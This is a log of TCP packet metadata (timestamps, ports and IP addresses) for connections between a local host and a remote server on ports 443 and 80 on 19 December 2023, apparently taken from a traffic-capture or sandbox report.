Dec 19, 2023 05:18:54.844747066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:54.844816923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:55.676748037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:55.676836967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:56.952941895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:56.952965021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:56.952980995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:56.953059912 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:56.953067064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:56.953083992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:56.953152895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:56.953159094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:56.953233957 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131335974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131350994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131365061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131376028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131412983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131494999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131500959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131510019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131524086 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131530046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131547928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131659985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131668091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131694078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131712914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131721973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131745100 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131750107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131824970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131844997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131872892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131875992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131890059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131900072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131910086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131959915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.131966114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.131987095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132003069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132006884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132013083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132042885 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132128000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132138014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132158995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132179022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132181883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132234097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132240057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132287979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132309914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132317066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132361889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132366896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132417917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132426023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132461071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132462025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132477045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132493019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132534981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132535934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132544994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132570028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132586002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132591009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132618904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132628918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132637024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132641077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132668972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132675886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132688999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132711887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132718086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132736921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132741928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132770061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132772923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132790089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132795095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132801056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132821083 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132848978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132854939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132858992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132882118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132896900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132903099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132913113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132922888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132939100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132950068 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132956028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132981062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.132992029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.132996082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133007050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133024931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133050919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133055925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133064032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133080006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133107901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133112907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133130074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133136988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133156061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133157015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133163929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133188009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133210897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.133218050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.133260012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.344741106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.344798088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:57.784744024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:57.784929991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:58.616745949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:58.616813898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.072643042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.072668076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.072679996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.072738886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.072745085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.072757006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.072812080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.072818995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.072840929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.072885036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.260369062 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.260397911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.260433912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.260458946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.260471106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.260514975 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.260685921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.260698080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.260715008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.260735035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261023998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.261034012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261050940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261071920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261126041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.261168003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261358976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.261367083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261380911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261394978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261565924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.261574030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261595011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261599064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261634111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.261637926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261811972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.261817932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261826038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.261851072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262000084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.262008905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262027025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262068987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.262073994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262077093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262290001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.262304068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262500048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.262515068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262538910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262567043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.262571096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262578011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262799025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.262804985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.262887001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.263019085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.263139963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.468745947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.468842983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:00.888746977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:00.888889074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:01.720751047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:01.720813990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:03.294382095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:03.294415951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.294430017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.294512033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:03.294522047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.294531107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.294728994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:03.294735909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.294806957 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:03.500771046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.500819921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:03.844374895 CET	80	49709	208.95.112.1	192.168.2.6
Dec 19, 2023 05:19:03.928742886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:03.928834915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050097942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050116062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050129890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050139904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050213099 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050223112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050254107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050260067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050270081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050291061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050297022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050328970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050333977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050350904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050374031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050384045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050394058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050406933 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050410986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050425053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050467014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050477028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050497055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050518990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050523043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050533056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050544024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050585032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050590992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050607920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050632000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050641060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050679922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050687075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050693989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050736904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050741911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050784111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050790071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050826073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050842047 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050846100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050916910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050925016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.050978899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.050987005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051012993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051028967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051033974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051054955 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051100016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051127911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051152945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051213980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051230907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051244020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051249027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051270962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051275015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051296949 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051296949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051309109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051312923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051347017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051368952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051383972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051414967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051420927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051429033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051434994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051455975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051456928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051464081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051485062 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051511049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051515102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051525116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051557064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051558018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051580906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051584959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051610947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051615000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051626921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051632881 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051637888 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051661968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051677942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051687956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051692009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051709890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051723003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051729918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051748037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051755905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051765919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051774979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051779032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051799059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051820040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051831007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051835060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051852942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051862001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051877022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051881075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051893950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051907063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051917076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051934958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051939011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.051949024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051970959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.051973104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.052010059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.256741047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.256833076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.468734980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.468843937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.888770103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.888973951 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:04.896270037 CET	80	49717	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:04.896399021 CET	49717	80	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:05.720746040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:05.720810890 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:07.384742975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:07.384958029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:09.055888891 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:09.055916071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:09.055937052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:09.056013107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:09.056021929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:09.056041002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:09.056072950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:09.056080103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:09.056112051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:09.056157112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:09.260746002 CET	443	49718	108.181.20.35	192.168.2.6
